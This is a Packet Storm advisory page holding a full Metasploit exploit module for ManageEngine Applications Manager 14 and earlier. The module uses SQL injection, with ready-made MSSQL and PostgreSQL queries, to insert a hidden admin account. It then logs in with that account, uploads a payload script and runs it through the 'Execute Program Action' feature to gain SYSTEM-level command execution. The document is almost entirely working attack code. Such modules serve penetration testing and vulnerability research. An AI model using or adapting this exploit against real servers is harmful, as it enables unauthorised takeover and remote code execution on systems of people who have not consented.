ManageEngine Applications Manager 14.0 SQL Injection / Command Injection

2019-04-23T00:00:00
ID PACKETSTORM:152607
Type packetstorm
Reporter Ozkan Mustafa Akkus
Modified 2019-04-23T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "ManageEngine Applications Manager < 14.0 - Authentication Bypass / Remote Command Execution",  
'Description' => %q(  
This module exploits sqli and command injection vulnerability in the ManageEngine AM 14 and prior versions.  
It is completely different from the previous EDB-ID:46725 exploit.  
  
Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides authentication bypass.  
Therefore an unauthenticated user can gain the authority of "system" on the server.   
It uploads malicious file using the "Execute Program Action(s)" feature of the app with the new admin account.  
  
Tested: Applications Manager 14 on Linux 64-bit (PostgreSQL)  
Applications Manager 14 on Windows 10 64-bit (MSSQL)  
Applications Manager 14 on Windows 10 64-bit (PostgreSQL)  
Applications Manager 13 on Windows Server 2012 R2 64-bit (MSSQL)  
Applications Manager 12 on Windows Server 2012 R2 64-bit (PostgreSQL)  
),  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus  
],  
'References' =>  
[  
[ 'URL', 'http://pentest.com.tr/exploits/ManageEngine-App-Manager-14-Auth-Bypass-Remote-Command-Execution.html' ]  
],  
'DefaultOptions' =>  
{  
'WfsDelay' => 60, # countermeasure  
'RPORT' => 8443,  
'SSL' => true  
},  
'Privileged' => true,  
'Payload' =>  
{  
'DisableNops' => true,  
},  
'Platform' => ['unix', 'win', 'linux'],  
'Targets' =>  
[  
[ 'Windows Target',  
{  
'Platform' => ['win'],  
'Arch' => ARCH_CMD,  
}  
],  
[ 'Linux Target',  
{  
'Platform' => ['unix','linux'],  
'Arch' => ARCH_CMD,  
'Payload' =>  
{  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl ruby python',  
}  
}  
}  
]  
],  
'DisclosureDate' => '22 April 2019',  
'DefaultTarget' => 1))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The path of ME', '/'])  
],self.class)  
end  
  
def peer  
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"  
end  
  
def print_status(msg='')  
super("#{peer} - #{msg}")  
end  
  
def print_error(msg='')  
super("#{peer} - #{msg}")  
end  
  
def print_good(msg='')  
super("#{peer} - #{msg}")  
end  
  
def exec(action)  
# operation of malicious file. The end of the adventure :(  
send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'common', 'executeScript.do'),  
'cookie' => @cookie,  
'vars_get' => {  
'method' => 'testAction',  
'actionID' => action,  
'haid' => 'null'  
}  
)  
end  
##  
# platform check  
##  
def check_platform  
# First touch to support of execute program ;)  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'showTile.do'),  
'cookie' => @cookie,  
'vars_get' => {  
'TileName' => '.ExecProg',  
'haid' => 'null',  
}  
)  
if res && res.code == 200 && res.body.include?('createExecProgAction')  
# Platform can be discovered precisely using an application dir.  
@dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0] # It will be recalled later  
if @dir =~ /:/  
platform = Msf::Module::Platform::Windows  
else   
platform = Msf::Module::Platform::Unix  
end  
else  
fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.')  
end  
file_up(platform, @dir)  
end  
##  
# Creating and sending malicious files  
##  
def file_up(platform, dir)  
# specifying an extension by platform  
if platform == Msf::Module::Platform::Windows  
filex = ".bat"  
else  
if payload.encoded =~ /sh/  
filex = ".sh"  
elsif payload.encoded =~ /perl/  
filex = ".pl"  
elsif payload.encoded =~ /python/  
filex = ".py"  
elsif payload.encoded =~ /ruby/  
filex = ".rb"  
else  
fail_with(Failure::Unknown, 'Payload type could not be checked!')  
end  
end  
  
@fname= rand_text_alpha(9 + rand(3)) + filex  
data = Rex::MIME::Message.new  
data.add_part('./', nil, nil, 'form-data; name="uploadDir"')  
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"")  
  
res = send_request_cgi({  
'method' => 'POST',   
'data' => data.to_s,  
'agent' => 'Mozilla',  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'cookie' => @cookie,  
'uri' => normalize_uri(target_uri, "Upload.do")   
})  
  
if res && res.code == 200 && res.body.include?('icon_message_success') # Success icon control  
print_good("#{@fname} malicious file has been uploaded.")  
create_exec_prog(dir, @fname) # Great. Let's send them somewhere else o_O  
else  
fail_with(Failure::Unknown, 'The file could not be uploaded!')  
end  
end  
  
def create_exec_prog(dir, fname)  
  
@display = rand_text_alphanumeric(7)  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'adminAction.do'),  
'cookie' => @cookie,  
'vars_post' => {  
'actions' => '/showTile.do?TileName=.ExecProg&haid=null',  
'method' => 'createExecProgAction',  
'id' => 0,  
'displayname' => @display,  
'serversite' => 'local',  
'choosehost' => -2,  
'abortafter' => 5, # I think it would be enough for once. But I gave 5 O_o  
'command' => fname,  
'execProgExecDir' => dir,  
'cancel' => 'false'  
}  
)  
  
if res && res.code == 200 && res.body.include?('icon_message_success') # Success icon control  
# Find actionID simply from body res  
actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0]   
print_status("Transactions completed. Attempting to get a session...")  
exec(actionid)  
else  
fail_with(Failure::Unreachable, 'Connection error occurred!')  
end  
  
end  
##  
# Check all  
##  
def check  
# Instead of detecting the database type, we can guarantee the vuln by sending a separate query to both.  
# The platform can be linux and possible remotely connected to the MSSQL database.   
# In the same way platform can be windows and postgresql can be used.   
# Thats why we are sending two queries. We will check the platform inside.  
@uname = Rex::Text.rand_text_alpha_lower(6)  
uid = rand_text_numeric(3)  
apk = rand_text_numeric(6)   
@pwd = rand_text_alphanumeric(8+rand(9))  
# MSSQL injection should be prepared with ASCII characters.   
# Map and join can be used for this.  
@uidCHR = "#{uid.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"  
@unameCHR = "#{@uname.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"  
@apkCHR = "#{apk.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"  
@adm = "CHAR(65)+CHAR(68)+CHAR(77)+CHAR(73)+CHAR(78)" # "ADMIN" CHARs - should not be random  
# PostgreSQL injection query // no need APIKEY  
pg_user =""   
pg_user << "1;insert+into+AM_UserPasswordTable+(userid,username,password)+values+"  
pg_user << "($$#{uid}$$,$$#{@uname}$$,$$#{Rex::Text.md5(@pwd)}$$);"  
pg_user << "insert+into+Am_UserGroupTable+(username,groupname)+values+($$#{@uname}$$,$$ADMIN$$);--+"  
# MSSQL injection query  
ms_user =""  
ms_user << "1 INSERT INTO AM_UserPasswordTable(userid,username,password,apikey) values (#{@uidCHR},"  
ms_user << " #{@unameCHR}, 0x#{Rex::Text.md5(@pwd)}, #{@apkCHR});"  
ms_user << "INSERT INTO AM_UserGroupTable(username,groupname) values (#{@unameCHR}, #{@adm})--"  
# Send SQL queries to both types of database(PostreSQL,MSSQL) with SQLi vuln..  
use_sqli(ms_user, pg_user)  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'applications.do'),  
)  
# If the user we sent with queries was created, the login will be successful with new admin user.  
if res && res.code == 200 && res.body.include?('.loginDiv') # css control makes more sense. The application language may not be English.  
@cookie = res.get_cookies  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'j_security_check'),  
'cookie' => @cookie,  
'vars_post' => {  
'clienttype' => 'html',  
'j_username' => @uname,  
'j_password' => @pwd  
}  
)  
  
if res && res.code == 302 && res.body.include?('Redirecting to')  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'applications.do'),  
'cookie' => @cookie  
)  
@cookie = res.get_cookies # last cookie  
return Exploit::CheckCode::Vulnerable  
else  
return Exploit::CheckCode::Safe  
end  
else  
return Exploit::CheckCode::Safe  
end  
  
end  
  
def exploit  
unless Exploit::CheckCode::Vulnerable == check  
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')  
end  
print_good("Excellent! Logged in as #{@uname}")  
print_status("Admin Username => #{@uname}")  
print_status("Admin Password => #{@pwd}")  
check_platform # Start the adventure  
end  
##  
# Communication with the database  
##  
def use_sqli(mssql, postgresql)  
# two different post data must be sent.  
# Because the query structures are different.  
send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'jsp', 'FaultTemplateOptions.jsp'),  
'vars_post' => {  
'resourceid' => mssql  
}  
)  
# important to send the +/$ characters clear  
send_request_cgi(  
{  
'method' => 'POST',  
'ctype' => 'application/x-www-form-urlencoded',  
'uri' => normalize_uri(target_uri.path, 'jsp', 'FaultTemplateOptions.jsp'),  
'data' => "resourceid=#{postgresql}"  
}, 25)  
  
end  
end  
##  
# The end of the codes (o_O) // AkkuS  
##  
`